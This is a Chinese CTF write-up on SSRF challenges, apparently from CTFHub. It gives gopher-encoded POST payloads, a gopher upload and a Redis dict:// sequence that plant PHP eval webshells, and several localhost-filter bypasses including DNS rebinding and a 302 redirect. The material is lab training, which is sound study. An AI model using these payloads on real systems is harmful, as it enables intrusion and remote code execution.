url=http://127.0.0.1/flag.php
web目录下的flag
?url=file://127.0.0.1/var/www/html/flag.php
知识点:gopher构造post请求
题目提示发送post请求,且ssrf是用curl实现的,那么就是gopher构造post请求
分析:
先用file读一下源码,flag.php中有key且要本地访问,index.php可以传参,可以利用index里的curl用gopher构造post请求,在本地访问flag.php。
index.php:
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>
flag.php:
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
gopher构造post请求要把%0a,换为%0d%0a,还要编码一下。
from urllib import parse
gopher = '''POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=7d6e9c6c15e0495623ccfc7a35d129c9'''
post = parse.quote(gopher)
post = post.replace("%0a","%0d%0a")
url = "gopher://127.0.0.1:80/_" + parse.quote(post)
print(url)
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D7d6e9c6c15e0495623ccfc7a35d129c9
?url=127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost:%252520127.0.0.1:80%25250d%25250aUser-Agent:%252520Mozilla/5.0%252520(Windows%252520NT%25252010.0;%252520Win64;%252520x64;%252520rv:99.0)%252520Gecko/20100101%252520Firefox/99.0%25250d%25250aContent-Type:%252520multipart/form-data;%252520boundary=---------------------------39970509643608551943853870330%25250d%25250aContent-Length:%252520379%25250d%25250aConnection:%252520close%25250d%25250aUpgrade-Insecure-Requests:%2525201%25250d%25250a%25250d%25250a-----------------------------39970509643608551943853870330%25250d%25250aContent-Disposition:%252520form-data;%252520name=%252522file%252522;%252520filename=%2525223.php%252522%25250d%25250aContent-Type:%252520application/octet-stream%25250d%25250a%25250d%25250a%25253C?php%25250d%25250aeval($_POST%25255B1%25255D);%25250d%25250a?%25253E%25250d%25250a-----------------------------39970509643608551943853870330%25250d%25250aContent-Disposition:%252520form-data;%252520name=%252522submit%252522%25250d%25250a%25250d%25250a%2525E6%25258F%252590%2525E4%2525BA%2525A4%2525E6%25259F%2525A5%2525E8%2525AF%2525A2%25250d%25250a-----------------------------39970509643608551943853870330--
用gopher写文件,具体原理可以看(https://blog.csdn.net/shinygod/article/details/126995090)的309题。
题目提示了是redis,那么我们先看一下redis的默认端口,也就是6379开没开。
?url=dict://127.0.0.1:6379
再测一下要不要授权,不要授权
?url=dict://127.0.0.1:6379/info
那么直接打:(具体原理可看:https://blog.csdn.net/shinygod/article/details/127034013 的360题)
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
?url=dict://127.0.0.1:6379/config:set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3b\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
?url=dict://127.0.0.1:6379/save
直接@
?url=http://[email protected]/flag.php
过滤了数字,但没过滤字母
?url=http://localhost/flag.php
还可以把ip转换为十进制、16进制…
?url=http://2130706433/flag.php
url=http://0x7F000001/flag.php
过滤的不多
?url=http://0/flag.php
也可以DNS重绑定,
?url=http://sudo.cc/flag.php
或者在自己的vps上搭一个302跳转:
//302.php
header("Location: http://127.0.0.1/flag.php");
然后访问:这样题目的服务器访问我们的302.php的时候会自动跳转到它本地的flag.php。
url=http://地址/302.php
?url=http://sudo.cc/flag.php